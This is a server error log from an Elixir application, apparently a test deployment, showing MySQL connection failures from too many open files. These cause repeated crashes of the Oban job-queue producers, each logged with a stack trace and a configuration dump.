[Sat Sep  5 23:28:07.782000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.589.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 23:28:08.957000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.592.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 23:28:09.418000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.588.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 23:28:09.596000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.584.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 23:28:10.240000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "mailers"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 876ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "mailers"}}}}, meta: %{name: Oban, node: "demo", queue: "mailers", started_at: ~U[2026-09-05 23:27:58.239591Z], limit: 20, uuid: "874160bb-4629-4af6-acc6-83b097f54485", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 23:27:58.239596Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "mailers"}}}}, dispatch_timer: #Reference<0.2525715032.1077411843.249853>, refresh_timer: #Reference<0.2525715032.1077411843.249816>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 23:28:10.236000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "webhooks"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 1074ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "webhooks"}}}}, meta: %{name: Oban, node: "demo", queue: "webhooks", started_at: ~U[2026-09-05 23:27:58.241743Z], limit: 5, uuid: "4621d3f2-c67c-40fc-876a-a947123ae14a", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 23:27:58.241749Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "webhooks"}}}}, dispatch_timer: #Reference<0.2525715032.1068498948.7223>, refresh_timer: #Reference<0.2525715032.1077411843.249865>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 23:28:10.241000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "reports"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 836ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "reports"}}}}, meta: %{name: Oban, node: "demo", queue: "reports", started_at: ~U[2026-09-05 23:27:58.240080Z], limit: 3, uuid: "ff80b3f1-eca1-450c-bb53-b3a502b3ff52", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 23:27:58.240085Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "reports"}}}}, dispatch_timer: #Reference<0.2525715032.1068498948.7186>, refresh_timer: #Reference<0.2525715032.1068498948.7184>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 23:28:10.245000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "low"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 1024ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "low"}}}}, meta: %{name: Oban, node: "demo", queue: "low", started_at: ~U[2026-09-05 23:27:58.239911Z], limit: 5, uuid: "d2e44441-c8d8-430c-889e-3ece45941b38", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 23:27:58.239917Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "low"}}}}, dispatch_timer: #Reference<0.2525715032.1068498948.7185>, refresh_timer: #Reference<0.2525715032.1068498948.7174>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 23:28:10.246000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "default"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 1058ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "default"}}}}, meta: %{name: Oban, node: "demo", queue: "default", started_at: ~U[2026-09-05 23:27:58.240066Z], limit: 10, uuid: "f31bb729-4f48-46ff-9ab1-b92895f5a39d", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 23:27:58.240071Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "default"}}}}, dispatch_timer: #Reference<0.2525715032.1077411843.249854>, refresh_timer: #Reference<0.2525715032.1077411843.249840>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 23:28:10.239000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "high"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 1065ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "high"}}}}, meta: %{name: Oban, node: "demo", queue: "high", started_at: ~U[2026-09-05 23:27:58.238065Z], limit: 50, uuid: "2e886d8d-04fc-47ed-92a5-32f0a4a6aa05", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 23:27:58.238072Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "high"}}}}, dispatch_timer: #Reference<0.2525715032.1068498948.7187>, refresh_timer: #Reference<0.2525715032.1121189889.117062>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 23:28:13.002000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.586.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 23:28:14.558000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.590.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 23:28:17.132000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.585.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 23:28:17.406000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.591.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 23:28:17.913000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.593.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 23:28:21.698000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.588.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 23:28:23.235000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "webhooks"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 2038ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "webhooks"}}}}, meta: %{name: Oban, node: "demo", queue: "webhooks", started_at: ~U[2026-09-05 23:28:10.248106Z], limit: 5, uuid: "3c450c11-5e39-4714-87f2-ba42c8c2db1e", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 23:28:10.248112Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "webhooks"}}}}, dispatch_timer: #Reference<0.2525715032.1068498948.7620>, refresh_timer: #Reference<0.2525715032.1121189889.117191>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 23:28:23.236000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "mailers"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 2004ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "mailers"}}}}, meta: %{name: Oban, node: "demo", queue: "mailers", started_at: ~U[2026-09-05 23:28:10.247175Z], limit: 20, uuid: "195d7058-f69b-4327-96a0-83412ece3b35", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 23:28:10.247182Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "mailers"}}}}, dispatch_timer: #Reference<0.2525715032.1068498948.7619>, refresh_timer: #Reference<0.2525715032.1121189889.117192>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 23:28:23.237000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "reports"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 1849ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
